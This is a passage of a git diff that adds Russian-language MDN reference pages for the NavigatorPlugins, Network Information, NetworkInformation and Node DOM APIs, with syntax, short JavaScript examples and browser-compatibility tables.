+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс {{domxref("Navigator")}} реализующий его.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html
new file mode 100644
index 0000000000..742f650c2c
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html
@@ -0,0 +1,28 @@
+---
+title: NavigatorPlugins.javaEnabled()
+slug: Web/API/NavigatorPlugins/javaEnabled
+translation_of: Web/API/NavigatorPlugins/javaEnabled
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Этот метод показывает включен ли java в текущем браузере или нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>result</em> = window.navigator.javaEnabled()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="eval">if (window.navigator.javaEnabled()) {
+   // browser has java
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Возвращаемое значение этого метода показывает положение java, включен ли или выключен - не предполагает поддержку java браузером полностью.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><span class="short_text" id="result_box" lang="ru">Не является <span class="hps">частю</span> <span class="hps">какой-либо</span> <span class="hps">спецификации</span><span>.</span></span></p>
diff --git a/files/ru/web/api/navigatorplugins/mimetypes/index.html b/files/ru/web/api/navigatorplugins/mimetypes/index.html
new file mode 100644
index 0000000000..d5ebe43956
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/mimetypes/index.html
@@ -0,0 +1,39 @@
+---
+title: NavigatorPlugins.mimeTypes
+slug: Web/API/NavigatorPlugins/mimeTypes
+translation_of: Web/API/NavigatorPlugins/mimeTypes
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<div> </div>
+
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p>Возвращает объект {{domxref("MimeTypeArray")}}, который содержит список объектов {{domxref("MimeType")}}, представляющий собой MIME-типы, известные браузеру.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>mimeTypes</var> = navigator.mimeTypes;
+</pre>
+
+<p><code>mimeTypes</code> - объект <code>MimeTypeArray,</code> который имеет свойство <code>length</code>, <span id="result_box" lang="ru"><span>а также</span> методы </span><code>item(index)</code><span lang="ru"><span> и</span> </span><code>namedItem(name)</code><span lang="ru"><span>.</span></span></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush:js">function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не является частью какой-либо спецификации.</em></p>
diff --git a/files/ru/web/api/navigatorplugins/plugins/index.html b/files/ru/web/api/navigatorplugins/plugins/index.html
new file mode 100644
index 0000000000..bf9b5bebda
--- /dev/null
+++ b/files/ru/web/api/navigatorplugins/plugins/index.html
@@ -0,0 +1,63 @@
+---
+title: NavigatorPlugins.plugins
+slug: Web/API/NavigatorPlugins/plugins
+translation_of: Web/API/NavigatorPlugins/plugins
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Возвращает объект {{domxref("PluginArray")}}, список плагинов установленых в приложении.</p>
+
+<div class="note">Приложения, которые должны проверять наличие плагинов у браузера должны запросить navigator.plugins или {{domxref("navigator.mimeTypes")}} с точным названием плагина, а не перебирать массив navigator.plugins сравненивая имя каждого плагина. Это изменение конфиденциальности не отключает все плагины; оно просто скрывает некоторые имена плагинов от перебора.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>plugins</var> = navigator.plugins;
+</pre>
+
+<p><code>plugins</code> используется для доступа к объекту {{domxref("Plugin")}} или по имени, или как элемент массива..</p>
+
+<p>Возвращаемое значение не массив JavaScript, но оно имеет свойство размера и поддерживает доступ к индивидуальным элементам с использованием квадратных скобок (<code>plugins{{mediawiki.external(2)}}</code>), <span id="result_box" lang="ru"><span class="hps">а также через</span> <span class="hps">пункт</span> <span class="hps">(индекс</span><span>)</span> <span class="hps">и</span> <span class="hps">namedItem</span> <span class="hps">("Name"</span><span>)</span> <span class="hps">методы.</span></span></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p><span id="result_box" lang="ru"><span>Следующий пример</span> <span class="hps">функции</span> <span class="hps">возвращает версию</span> <span class="hps">Flash.</span></span></p>
+
+<pre>function getFlashVersion() {
+  var flash = navigator.plugins['Shockwave Flash'];
+  if (flash === undefined) {
+    // flash is not present
+    return undefined;
+  }
+  return flash.version;
+}
+</pre>
+
+<p><span id="result_box" lang="ru"><span>Следующий пример</span> <span class="hps">выводит</span> <span class="hps">информацию</span> <span class="hps">об установленном</span>(ых) <span class="hps">плагине</span> <span class="atn hps">(</span><span>ах) для</span> <span class="hps">документа</span> <span class="hps">высокого уровня.</span></span></p>
+
+<pre class="brush:js">var L = navigator.plugins.length;
+
+document.write(
+  L.toString() + " Plugin(s)&lt;br&gt;" +
+  "Name | Filename | description&lt;br&gt;"
+);
+
+for(var i = 0; i &lt; L; i++) {
+  document.write(
+    navigator.plugins[i].name +
+    " | " +
+    navigator.plugins[i].filename +
+    " | " +
+    navigator.plugins[i].description +
+    " | " +
+    navigator.plugins[i].version +
+    "&lt;br&gt;"
+  );
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>{{domxref("Plugin")}} <span id="result_box" lang="ru"><span class="hps">объект, предоставляет</span> <span class="hps">небольшой</span> <span class="hps">интерфейс</span> <span class="hps">для получения</span> <span class="hps">информации</span> <span class="hps">о различных</span> <span class="hps">плагинах</span><span>, установленных в</span> <span class="hps">вашем браузере</span><span>. Список плагинов также доступен если ввести </span></span><code>about:plugins</code> в адресную строку браузера.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><em>Не определено ни к какой спецификации.</em></p>
diff --git a/files/ru/web/api/network_information_api/index.html b/files/ru/web/api/network_information_api/index.html
new file mode 100644
index 0000000000..235567b5e4
--- /dev/null
+++ b/files/ru/web/api/network_information_api/index.html
@@ -0,0 +1,87 @@
+---
+title: Network Information API
+slug: Web/API/Network_Information_API
+translation_of: Web/API/Network_Information_API
+---
+<div>{{DefaultAPISidebar("Network Information API")}}{{SeeCompatTable}}</div>
+
+<p>API Network Information позволяет определить тип интернет-подключения системы (<code>'wifi'</code>,  <code>'cellular'</code> и т.д.). Эту информацию можно использовать, к примеру, для того, чтобы предоставлять контент большего либо меньшего разрешения в зависимости от качества соединения. Весь API состоит из интерфейса {{domxref("NetworkInformation")}}, добавленного в глобальный объект {{domxref("Navigator")}} как свойство {{domxref("Navigator.connection")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Определение_изменения_соединения">Определение изменения соединения</h3>
+
+<p>Данный пример отслеживает изменение подключения пользователя.</p>
+
+<pre class="brush: js notranslate">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var type = connection.effectiveType;
+
+function updateConnectionStatus() {
+  console.log("Connection type changed from " + type + " to " + connection.effectiveType);
+  type = connection.effectiveType;
+}
+
+connection.addEventListener('change', updateConnectionStatus);
+</pre>
+
+<h3 id="Предварительная_загрузка_крупных_ресурсов">Предварительная загрузка крупных ресурсов</h3>
+
+<p>The connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory. This example would be called soon after page load to check for a connection type where preloading a video may not be desirable. If a cellular connection is found, then the <code>preloadVideo</code> flag is set to false. For simplicity and clarity, this example only tests for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. Regardless of the <code>type</code> value you can get an estimate of connection speed through the {{domxref("NetworkInformation.effectiveType")}} property.</p>
+
+<pre class="brush: js notranslate">let preloadVideo = true;
+var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+if (connection) {
+  if (connection.effectiveType === 'slow-2g') {
+    preloadVideo = false;
+  }
+}</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("NetworkInformation")}}</dt>
+ <dd>Даёт возможность получить информацию о сетевом соединении, а также возможность получать события при изменении типа соединения. Невозможно создавать экземпляры данного интерфейса, для получения доступа используйте {{domxref("Navigator")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Network Information', '', 'Network Information API')}}</td>
+   <td>{{Spec2('Network Information')}}</td>
+   <td>Изначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h3 id="NetworkInformation"><code>NetworkInformation</code></h3>
+
+
+
+<p>{{Compat("api.NetworkInformation")}}</p>
+
+<h3 id="Navigator.connection"><code>Navigator.connection</code></h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Navigator.connection")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{spec("http://w3c.github.io/netinfo/", "Network Information API Specification", "ED")}}</li>
+ <li><a href="/en-US/docs/Online_and_offline_events">Online and offline events</a></li>
+ <li>{{domxref("Navigator.connection", "window.navigator.connection")}}</li>
+</ul>
diff --git a/files/ru/web/api/networkinformation/connection/index.html b/files/ru/web/api/networkinformation/connection/index.html
new file mode 100644
index 0000000000..607101a911
--- /dev/null
+++ b/files/ru/web/api/networkinformation/connection/index.html
@@ -0,0 +1,100 @@
+---
+title: NetworkInformation.connection
+slug: Web/API/NetworkInformation/connection
+translation_of: Web/API/Navigator/connection
+---
+<p>{{ apiref("Network Information API") }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p><code><strong>NetworkInformation.connection</strong></code> свойство только для чтения представляющее собой {{domxref("Connection")}} содержащий информацию о системном подключении, таких как текущая пропускная способность пользовательского устройства или определено ли соеденение. Это может быть использовано для выбора контента высокой плотности или контента низкой плотности в соединении пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>connectionInfo</em> = navigator.connection</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Network Information', '#h-the-connection-attribute', 'NetworkInformation.connection') }}</td>
+   <td>{{ Spec2('Network Information') }}</td>
+   <td>Первоначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.0<br>
+    behind the flag</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.2 {{ property_prefix("webkit") }}</td>
+   <td>12.0</td>
+   <td>1.4</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметка_для_Gecko">Заметка для Gecko</h3>
+
+<ul>
+ <li>Network API может быть отключена  используя <code>dom.netinfo.enabled</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information API</a></li>
+ <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">Онлайн и оффлайн события</a></li>
+ <li><a class="external" href="https://github.com/soapdog/firefoxos-sample-app-image-uploader" title="Firefox OS Image Uploader Sample App">Firefox OS Image Uploader Sample App</a></li>
+</ul>
diff --git a/files/ru/web/api/networkinformation/index.html b/files/ru/web/api/networkinformation/index.html
new file mode 100644
index 0000000000..a19e2ba12a
--- /dev/null
+++ b/files/ru/web/api/networkinformation/index.html
@@ -0,0 +1,107 @@
+---
+title: NetworkInformation
+slug: Web/API/NetworkInformation
+translation_of: Web/API/NetworkInformation
+---
+<p>{{APIRef("Network Information API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <code><strong>NetworkInformation</strong></code> содержит методы и свойства, связанные с типом сети браузера.</p>
+
+<p>В нем нет объектов типа  <code>NetworkInformation</code>, но другие интерфейсы, такие как {{domxref("Navigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em><code>Интерфейс NetworkInformation</code></em><em> не наследует других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NetworkInformation.connection")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Connection")}} предоставляет информацию о сетевом соединении устройства.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><code>Интерфейс NetworkInformation</code><em> ничего не предоставляет и не наследует других методов.</em></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Network Information', '#idl-def-NetworkInformation', 'NetworkInformation') }}</td>
+   <td>{{ Spec2('Network Information') }}</td>
+   <td>Изначальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>базовая поддержка</td>
+   <td>20? {{ property_prefix("webkit") }}</td>
+   <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatNo() }}</td>
+   <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметки_для_Gecko"><span class="short_text" id="result_box" lang="ru"><span class="hps">Заметки для Gecko</span></span></h3>
+
+<ul>
+ <li>Сетевое API может быть отключено с помощьюc <code>dom.network.enabled</code>.</li>
+ <li>Как и в Gecko 12.0, сетевое API реализованно только для Android. Поддержка для Linux ({{ bug("712442") }}) и Windows ({{ bug("721306") }}) систем находится в процессе разработки.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Информация о API сети.</a></li>
+ <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">Онлайн и оффлайн события.</a></li>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/node.replacechild/index.html b/files/ru/web/api/node.replacechild/index.html
new file mode 100644
index 0000000000..6d69392c57
--- /dev/null
+++ b/files/ru/web/api/node.replacechild/index.html
@@ -0,0 +1,64 @@
+---
+title: Node.replaceChild
+slug: Web/API/Node.replaceChild
+tags:
+  - API
+  - DOM
+  - DOM Elements Method
+  - Gecko
+  - Method
+  - Node
+translation_of: Web/API/Node/replaceChild
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Аннотация</h2>
+<p>Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+<ul>
+ <li><code>newChild</code> элемент на который будет заменен <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li>
+ <li><code>oldChild</code> элемент который будет заменен.</li>
+ <li><code>replacedNode</code> замененный элемент. Тоже самое что и <code>oldChild</code>.</li>
+</ul>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush:js">// &lt;div&gt;
+//  &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// Создаем новый пустой элемент
+// without an ID, any attributes, or any content
+var sp1 = document.createElement("span");
+
+// Присваиваем ему id 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// Создаем строку.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// Добавляем контент в созданный нами узел
+sp1.appendChild(sp1_content);
+
+// создаем ссылку на существующий элемент который будем заменять
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// заменяем существующий элемент sp2 на созданный нами sp1
+parentDiv.replaceChild(sp1, sp2);
+
+// Результат:
+// &lt;div&gt;
+//   &lt;span id="newSpan"&gt;new replacement span element.&lt;/span&gt;
+// &lt;/div&gt;
+</pre>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+<h2 id="See_also" name="See_also">См. также</h2>
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..50af4e38da
--- /dev/null
+++ b/files/ru/web/api/node/appendchild/index.html
@@ -0,0 +1,60 @@
+---
+title: Node.appendChild
+slug: Web/API/Node/appendChild
+tags:
+  - API
+  - DOM
+  - DOM Element Mehods
+  - Method
+  - WebAPI
+translation_of: Web/API/Node/appendChild
+---
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p><code><strong>Node.appendChild()</strong></code> добавляет узел в конец списка дочерних элементов указанного родительского узла. Если данный дочерний элемент является ссылкой на существующий узел в документе, то функция <code>appendChild()</code> перемещает его из текущей позиции в новую позицию (нет необходимости удалять узел из родительского узла перед добавлением его к какому-либо другому узлу).</p>
+
+<p>Это означает, что узел не может находиться в двух точках документа одновременно. Поэтому, если у узла уже есть родитель, он сначала удаляется, а затем добавляется в новую позицию. {{domxref("Node.cloneNode()")}} можно использовать для создания копии узла перед добавлением его в новый родительский элемент. Обратите внимание, что копии, сделанные с помощью <code>cloneNode</code> , не будут автоматически синхронизироваться.</p>
+
+<p>Если данный дочерний элемент является {{domxref("DocumentFragment")}}, то все содержимое {{domxref("DocumentFragment")}} перемещается в дочерний список указанного родительского узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var child = <em>element</em>.appendChild(<em>child</em>);</pre>
+
+<ul>
+ <li><code>element</code> родительский <a href="/en-US/docs/DOM/element" title="/en-US/docs/DOM/element">элемент</a>.</li>
+ <li><code>child</code> это элемент вставляется в конец <code>element</code>.</li>
+</ul>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Возвращается дочерний элемент (<code><var>aChild</var></code>), кроме тех случаев, когда <code><var>child</var></code> это {{domxref("DocumentFragment")}}, в таком случае возвращается пустой {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Цепочка может работать не так, как ожидалось, из-за того, что <code>appendChild()</code> возвращает дочерний элемент:</p>
+
+<pre class="brush: js notranslate">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre>
+
+<p>Присваивает переменной <code>aBlock</code> элемент <code>&lt;b&gt;&lt;/b&gt;</code>, а не <code>&lt;block&gt;&lt;/block&gt;</code>, как вы могли ожидать.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js notranslate">// Создаем новый элемент параграфа, и вставляем в конец document body
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-184E7107" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-184E7107">DOM Level 3 Core: appendChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.insertBefore")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/baseuri/index.html b/files/ru/web/api/node/baseuri/index.html
new file mode 100644
index 0000000000..fad808069b
--- /dev/null
+++ b/files/ru/web/api/node/baseuri/index.html
@@ -0,0 +1,62 @@
+---
+title: Node.baseURI
+slug: Web/API/Node/baseURI
+translation_of: Web/API/Node/baseURI
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p> Свойство <code><strong>Node.baseURI</strong></code> только для чтения, возвращающее абсолютный базовый URL узла.</p>
+
+<p>Базовый URL используется для <a href="http://developers.whatwg.org/urls.html#resolving-urls">разрешения</a> относительных URLs, когда браузеру  нужно получить абсолютный URL, например, когда обрабатывает элемент HTML {{HTMLElement("img")}}, <code>src</code> атрибут или XML <code><a href="/en-US/docs/XLink">xlink</a>:href</code> атрибут.</p>
+
+<p>В самом простом случае, базовывый URL это просто местонахождение документа, но это может зависеть от многих факторов, включая элемент {{HTMLElement("base")}} в HTML и атрибут <code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> в XML.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>baseURI</em> = <em>node</em>.baseURI;
+</pre>
+
+<ul>
+ <li><code>baseURI</code> это {{ domxref("DOMString") }} представляющий базовый URL обусловленный {{domxref("Node")}}. Может быть <code>null</code> если не удалось получить абсолютный URI</li>
+ <li><code><em>node</em>.baseURI</code> только для чтения.</li>
+ <li><code><em>node</em>.baseURI</code> может измениться со временем (с.м. ниже).</li>
+</ul>
+
+<h2 id="Details" name="Details">Подробности</h2>
+
+<h3 id="Базовый_URL_документа">Базовый URL документа</h3>
+
+<p>Базовый URL <em>документа</em> по умолчанию, адрес документа (как отображено в браузере и доступно в {{domxref("window.location")}}), но может измениться по умолчанию:</p>
+
+<ul>
+ <li>Когда HTML {{HTMLElement("base")}} тег найден в документе;</li>
+ <li>Когда этот новый документ создан динамически.</li>
+</ul>
+
+<p>Смотрите <a href="http://developers.whatwg.org/urls.html#base-urls">Раздел базовый URLs в действующем стандарте HTML</a> для уточнения деталей.</p>
+
+<p>Вы можите использовать <code><em>{{domxref("document")}}</em>.baseURI</code> для получения базового URL документа. Заметим, что получение базового URL для документа, может возвращать различные URLs в течение долгого времени, если {{HTMLElement("base")}} теги или местонахождение документа изменилось.</p>
+
+<h3 id="Базовый_URL_элемента">Базовый URL элемента</h3>
+
+<p>Базовый URL <em>элемента</em> в HTML обычно равен базовому URL документу узла.</p>
+
+<p>Если документ содержит атрибуты <code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> (которые вы не должны использовать в документах HTML), <code><em>element</em>.baseURI</code> принимает во внимание <code>xml:base</code> атрибуты родительского элемента, когда вычисляет базовый URL. Для уточнения деталей смотрите <a href="/en-US/docs/XML/xml:base">xml:base</a>.</p>
+
+<p>Вы можите использовать <code><em>{{domxref("element")}}</em>.baseURI</code> для получения базового URL of элемента.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-baseURI","DOM Level 3 Core: baseURI","REC")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("base")}} element (HTML)</li>
+ <li><code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> атрибуты (XML документы).</li>
+ <li>{{domxref("Node.baseURIObject")}} - вариант этого  API для Mozilla дополнений и внутреннего кода. Возвращает базовый URL как {{interface("nsIURI")}}.</li>
+</ul>
diff --git a/files/ru/web/api/node/baseuriobject/index.html b/files/ru/web/api/node/baseuriobject/index.html
new file mode 100644
index 0000000000..b4d34efb85
--- /dev/null
+++ b/files/ru/web/api/node/baseuriobject/index.html
@@ -0,0 +1,25 @@
+---
+title: Node.baseURIObject
+slug: Web/API/Node/baseURIObject
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Node.baseURIObject</strong></code> возвращает {{Interface("nsIURI")}} представляющий базовый URL узла (обычно документ или элемент). Это похоже на {{domxref("Node.baseURI")}}, за исключением того, что возвращает nsIURI вместо строки.</p>
+
+<p>Это свойство существует на всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать его имея привилегии UniversalXPConnect.</p>
+
+<p>Смотрите {{domxref("Node.baseURI")}} для уточнения деталей что такое базовый URL.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>uriObj</var> = <em>node</em>.baseURIObject
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это свойство только для чтения; попытка записать информацию в него, будет сбрасывать исключения. <span id="result_box" lang="ru"><span class="hps">Кроме того,</span> <span class="hps">это свойство может</span> <span class="hps">быть</span> <span class="hps">доступно только для</span> <span class="hps">привилегированного</span> <span class="hps">кода.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Нет какой-либо спецификации.</p>
diff --git a/files/ru/web/api/node/childnodes/index.html b/files/ru/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..f66b7060b8
--- /dev/null
+++ b/files/ru/web/api/node/childnodes/index.html
@@ -0,0 +1,68 @@
+---
+title: Node.childNodes
+slug: Web/API/Node/childNodes
+translation_of: Web/API/Node/childNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div><code><font face="Open Sans, sans-serif">Доступный для чтения аттрибут </font><strong>Node.childNodes</strong></code> возвращает <em>коллекцию</em> дочерних элементов данного элемента.</div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>ndList</var> = elementNodeReference.childNodes;
+</pre>
+
+<p><var>ndList</var> -- упорядоченная коллекция объектов элементов, которые являются детьми данного элемента. Если у элемента нет детей, <var>ndList </var>пуст.</p>
+
